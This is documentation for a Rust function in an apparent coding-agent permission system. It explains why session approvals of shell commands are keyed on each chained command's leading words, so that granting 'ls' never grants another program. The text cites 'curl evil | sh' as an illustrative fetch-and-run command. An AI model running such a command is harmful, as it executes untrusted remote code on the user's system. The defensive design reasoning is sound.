pub fn session_approval_keys(tool_name: &str, arguments: &Value) -> Vec<String>Expand description
The keys a session-scoped approval (“allow for this session”) is remembered under. Empty means this call must not be session-granted at all.
Keying session approval on the bare tool name would make approving one
shell call approve every later shell call for the run. “Allow ls for
this session” silently becomes “allow curl evil | sh for this session” -
the user consents to one thing and grants another.
So a shell approval is keyed on what actually runs: for each command in the
line, its leading words. git diff HEAD~1 grants git diff,
cargo test --lib grants cargo test, ls -la grants ls. A later call is
covered only when every command in it is already granted, so a grant can
never widen to a program the user has not seen run.
Chained commands are split rather than refused. The first version returned
None for anything containing &&, |, ;, $( or a redirect, on the
grounds that the leading words of foo && curl evil do not characterize it.
True - but a coding agent writes compound commands constantly, and in a real
run every shell call it made was compound, so “allow for this session”
never once applied and the user re-approved the same work over and over.
Splitting keeps the security property (curl is its own key, and is not
granted by approving ls) and gives back the feature.
Non-shell tools keep keying on the tool name: their arguments do not widen what the tool can reach the way a command string does.